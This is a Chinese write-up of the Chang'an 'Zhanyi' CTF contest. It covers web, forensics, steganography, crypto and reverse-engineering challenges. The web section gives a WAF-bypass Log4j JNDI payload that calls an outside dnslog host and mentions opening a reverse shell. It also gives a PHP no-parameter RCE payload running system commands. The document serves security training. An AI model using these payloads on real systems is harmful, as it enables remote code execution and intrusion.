长安“战役“网络安全卫士守护赛
2024-07-03 06:06:59
文章目录
- Web
- shiro?
- RCE_No_Para
- Flag配送中心
- Misc
- 迷宫
- 朴实无华的取证
- 无字天书
- steg
- binary
- Crypto
- no_cry_no_bb
- no_cry_no_can
- no_math_no_cry
- Reverse
- combat_slogan
- cute_doge
Web
shiro?
很明显不是一般的shiro，很多命令都不能用，又是Sprintboot框架，那可以尝试log4j RCE
发现存在WAF检测，bypass测试绕过：${${::-j}ndi:rmi://r5qm53.dnslog.cn/exp}
成功返回dnslog解析记录
搭建服务直接打，反弹shell
flag{314ace018a6f243357c5b84d030af604}
RCE_No_Para
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){eval($_GET['code']);}else{die("Hacker!");}
}else{show_source(__FILE__);
}
?>
无参RCE
?a=system('whoami');&code=eval(pos(pos(get_defined_vars())));
Flag配送中心
是一个CVE漏洞：参考：HTTPoxy漏洞（CVE-2016-5385）
Misc
迷宫
从入口走到出口，然后路上碰到的字连起来取拼音即可
经过的字为：战长恙长战恙河长山山安战疫疫战疫安疫长安恙
flag:
cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
朴实无华的取证
查看一下运行程序
过滤查看有哪些txt文件
取出可疑txt文件
继续查找zip文件
提取类似flag压缩包
存在加密，使用前面txt里面的日期：20211209尝试解密
得出hint：
//幼儿园水平的加密（部分）
void Encrypt(string& str)
{for(int i = 0; i < str.length(); i++){if(str[i] >='a'&& str[i]<='w')str[i]+=3;else if(str[i]=='x')str[i]='a';else if(str[i]=='y')str[i]='b';else if(str[i]=='z')str[i]='c'; else if(str[i]=='_')str[i]='|';str[i] -= 32;}
}
继续查看有无可疑图片文件
提取出来
得到一串密文，根据之前的得到的处理密文逻辑，简单使用Python逆推下即可得到flag
flag_str = "FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]"
flag_str = list(flag_str)
for i in range(len(flag_str)):flag_str[i] = chr(ord(flag_str[i]) + 32)if ord(flag_str[i]) >= ord('a') + 3 and ord(flag_str[i]) <= ord('w') + 3:flag_str[i] = chr(ord(flag_str[i]) - 3)elif flag_str[i] == 'a':flag_str[i] = 'x'elif flag_str[i] == 'b':flag_str[i] = 'y'elif flag_str[i] == 'c':flag_str[i] = 'z'elif flag_str[i] == '|':flag_str[i] = '_'print(flag_str[i],end="")
无字天书
打开secret.pcap，导出http对象列表
在1(3).php中发现504b开头一段16进制数据
取出来，简单的用python脚本处理一下，生成zip压缩包
from binascii import *hex_code = '504B0304140008000800B16A98530000000000000000E201000008002000666C61672E74787455540D0007DF58C561B564C561B364C56175780B000104F5010000041400000065904112C0200803CFC92BF8FF2B6BD1E242BD6464D624A8D84747C4BB8EC8E2107C719CBA8C1A95223A58C811B11B1E8955BB913B9F441558B06872899C39D8E5D06DC325E62F7C4BC1F0078E6DBB251FBB9037586311D367846B1471871896A01F504B0708BB2C9F9162000000E2010000504B0304140008000800396998530000000000000000F4000000060020006B65792E777355540D00071F56C561B564C561B364C56175780B000104F501000004140000007D8EC10900300803DF11DCE1F69FB25A3FDAD22A0A1E21111012E02637B2E20CA0066A4F454C576CF2F3A8981FA83514693B533852AEC7D0DBC32D7B01504B07087FB167453D000000F4000000504B03041400080008003969985300000000000000000D010000110020005F5F4D41434F53582F2E5F6B65792E777355540D00071F56C561B564C561CF6CC56175780B000104F501000004140000006360156367606260F04D4C56F00F568850800290180327101B01F16D2006F219791988028E212141101658C70120F64553C20415176060904ACECFD54B2C28C849D5CB492C2E292D4E4D49492C49550E0886AABD00C4B60C0CA2087585A589458979259979A90CF2614713910D2ED43730B030B436334C3635353648B176CB2C4A4DCBAFB07672B5B030377034D075347375D2353103B22C5C2C0D758D0C0C0C5D8C1C4D2C5C0C8C1800504B0708B1276E0CAA0000000D010000504B01021403140008000800B16A9853BB2C9F9162000000E2010000080020000000000000000000A48100000000666C61672E74787455540D0007DF58C561B564C561B364C56175780B000104F50100000414000000504B01021403140008000800396998537FB167453D000000F4000000060020000000000000000000A481B80000006B65792E777355540D00071F56C561B564C561B364C56175780B000104F50100000414000000504B0102140314000800080039699853B1276E0CAA0000000D010000110020000000000000000000A481490100005F5F4D41434F53582F2E5F6B65792E777355540D00071F56C561B564C561CF6CC56175780B000104F50100000414000000504B05060000000003000300090100005202000000003b29e6e57725'
with open('123.zip','wb') as f:f.write(unhexlify(hex_code))
f.close()
解压压缩包得到flag.txt以及key.ws
key.ws明显是whitespace
找个在线网站处理一下https://vii5ard.github.io/whitespace/
得到key: XiAnWillBeSafe
flag.txt则是snow隐写，直接上工具解密
flag:
cazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng}
####xian加油
打开流量包，追踪tcp流，发现是一个目录扫描的流量
查看各个流的数据，发现只有3个http状态码是200 ok，分别是hint.txt
secret.txt
ds_store
其中，hint.txt为base32编码，解码得到
secret.txt内容base64解码一下，是一个zip压缩包
解压得到包含flag的图片
num_string = base64.b64decode(accsi_str)
qrcode = str(num_string).replace(r'\\n','').replace('b','').replace("'",'')
print(qrcode)
得到一串2进制数据
0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000
用Python简单处理一下，将2进制数据转成二维码
import base64
from PIL import Imageaccsi_num_list = [77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 70, 120, 117, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 70, 120, 117, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 86, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 65, 61, 61]
accsi_str = ''
for i in accsi_num_list:accsi_str += chr(i)
num_string = base64.b64decode(accsi_str)
qrcode = str(num_string).replace(r'\\n','').replace('b','').replace("'",'')
print(qrcode)
MAX = int(len(qrcode)**(1/2))
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):for x in range (0,MAX):if(qrcode[i] == '0'):pic.putpixel([x,y],(0, 0, 0))else:pic.putpixel([x,y],(255,255,255))i = i+1pic.save('binary_flag.png')
扫描一下二维码得到
flag:
flag{932b2c0070e4897ea7df0190dbf36ece}
Crypto
no_cry_no_bb
题目内容
assert flag[:5] ==b'cazy{'def pad(m):tmp = 16-(len(m)%16)return m + bytes([tmp for _ in range(tmp)])def encrypt(m,key):aes = AES.new(key,AES.MODE_ECB)return aes.encrypt(m)if __name__ == "__main__":flag = pad(flag)key = pad(long_to_bytes(random.randrange(1,1<<20)))c = encrypt(flag,key)print(c)
# b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'
看一下代码，大抵在范围（1，1<<20）取一个随机数在经过pad()方法作为key进行aes加密
解题方法没啥好说的，就是去爆破加密时所取得随机数再aes解密,最后判断一下解密后得明文是否存在cazy{即可
from Crypto.Util.number import *
from Crypto.Cipher import AES
import random
def pad(m):tmp = 16-(len(m)%16)return m + bytes([tmp for _ in range(tmp)])def decrypt(c,key):aes = AES.new(key,AES.MODE_ECB)return aes.decrypt(c)if __name__ == '__main__':c = b'\x9d\x18K\x84n\xb8b|\x18\xad4\xc6\xfc\xec\xfe\x14\x0b_T\xe3\x1b\x03Q\x96e\x9e\xb8MQ\xd5\xc3\x1c'while True:key = pad(long_to_bytes(random.randrange(1,1<<20)))flag = decrypt(c,key)if 'cazy{' in str(flag):print(flag)break
flag:
cazy{n0_c4n,bb?n0p3!}
no_cry_no_can
题目内容
flag = cazy{xxxxxxxxxxx}
assert len(key) <= 5
assert flag[:5] == b'cazy{'
def can_encrypt(flag,key):block_len = len(flag) // len(key) + 1new_key = key * block_lenreturn bytes([i^j for i,j in zip(flag,new_key)])c = can_encrypt(flag,key)
print(c)# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'密文是做异或得到得结果，所以我们通过给定的flag格式cazy{获取到key即可，再用得到的key对密文做异或即可得到flag
c = b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'
b = b'cazy{'
key = bytes([i^j for i,j in zip(c,b)])
block_len = len(c)//len(key)+1
new_key = key * block_len
flag = bytes([i^j for i,j in zip(c,new_key)])
print(flag)
flag:
cazy{y3_1s_a_h4nds0me_b0y!}
no_math_no_cry
题目内容
from Crypto.Util.number import*
from secret import flagassert len(flag) <= 80
def sec_encry(m):cip = (m - (1<<500))**2 + 0x0338470return cipif __name__ == "__main__":m = bytes_to_long(flag)c = sec_encry(m)print(c)# 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169纯粹的数学计算问题，直接根据加密方式逆着解就ok
c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169
b = int('0x0338470',16)
m1 = gmpy2.iroot(c-b,2)[0]
m1 = -m1
m = m1 + (1<<500)
print(long_to_bytes(m))
flag:
cazy{1234567890_no_m4th_n0_cRy}
Reverse
combat_slogan
下载文件，是一个jar包，直接用jdgui打开
在main中发现字符串，Jr_j11y_s1tug_g0_raq_g0_raq_pnml
凯撒全位移一下
flag:
flag{We_w11l_f1ght_t0_end_t0_end_cazy}
cute_doge
下载文件，ctf1.exe，用ida打开，查看字符串
发现可疑字符串ZmxhZ3tDaDFuYV95eWRzX2Nhenl9
base家族解密，发现是Base64
flag：
flag{Ch1na_yyds_cazy}
长安“战役“网络安全卫士守护赛相关推荐
- 2021长安“战疫”网络安全卫士守护赛 misc部分writeup
2021长安"战疫"网络安全卫士守护赛 misc部分writeup 八卦迷宫 朴实无华的取证 西安加油 ez_Encrypt 一百多名,我觉得还行欸,多亏了队里的crypto手 八 ...
- 长安“战疫”网络安全卫士守护赛部分wp
摘要:长安"战疫"网络安全卫士守护赛部分wp 然后就是朴实无华的取证那个题 不知道是大小写的原因还是啥交不上,无字天书卡到最后那个长得好像摩斯密码的地方,收获 ...
- 长安“战疫”网络安全卫士守护赛writeup
长安"战疫"网络安全卫士守护赛writeup misc 八卦迷宫 得到flag cazy{zhanchangyangchangzhanyanghechangshanshananzh ...
- 长安“战疫”网络安全卫士守护赛_crypto_复现
长安"战疫"网络安全卫士守护赛_Crypto math 涉及的知识点:RSA加密未知模数,已知p对q的逆元以及q对p的逆元求RSA的模数N 题目描述 题目没有描述,只有已知量c,e ...
- 2022 长安“战疫”网络安全卫士守护赛 WriteUp
麻薯星的zyz想要生猴子!!!麻薯星的zyz想要生猴子!!!麻薯星的zyz想要生猴子!!! 队友第一轮做了俩Web之后就摆烂了 寄 总体来说长安战疫基本大部分题都偏向入门,适合大一新生练练手 少部分多 ...
- 长安“战疫”网络安全卫士守护赛部分writeup
解题过程 题目一 八卦迷宫 用画图工具手工连接,然后将路上的图表和字相对应 按顺序打出,然后根据题目要求换成全拼,加上图片里的前缀cazy{}提交 flag为: cazy{zhanchangyangc ...
- 长安“战疫”网络安全卫士守护赛crypto
cry1 题目如下,就是一个脚本: from Crypto.Util.number import* from secret import flag,keyassert len(key) <= 5 ...
- 长安“战疫”网络安全卫士守护赛 WriteUp
1.RCE_No_Para 参考一篇比较详细的bloghttps://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%951%EF% ...
- 长安战疫网络安全卫士守护赛 Shiro?
赛题:Shiro? 需要准备的环境: 反弹shell需要准备VPS.JNDI-Injection-Exploit工具启动rmi和ldap服务 JNDI-Injection-Exploit 需要jdk. ...
最新文章
- Newtonsoft.Json.dll 本地调用正常，服务器调用不正常
- Transformer靠什么“基因“，得以闯入CV界秒杀CNN？
- oracle乘法运算,oracle实现相乘话语
- 算法--------数组--------容纳最多的水
- mysql 生成数列_PHP生成器的创建和使用
- composer 使用指南
- 克隆可序列化和不可序列化的Java对象
- php万能查询用预,PHP 与 mysql
- BZOJ2002：[HNOI2010]弹飞绵羊——题解
- matlab 7 安装序列号,Matlab7序列号
- 安装delphi 10.4 社区版
- mac安装绿联USB转以太网驱动
- Linux文件加密方式gzip和bzip
- 计算机右键管理删除,【win7右键菜单管理】右键菜单的设置及清除
- 【Python】turtle安装报错ERROR: Command errored out with exit status 1
- mysql nemesis后缀,YOUR FILES ARE ENCRYPTED
- 光格科技递交科创板上会稿：拟募资6亿 预计年营收3亿
- 深度学习中的遥感影像数据集~持续更新
- SiamFC代码配置复现 matlab版本
- 使用document解析xml文件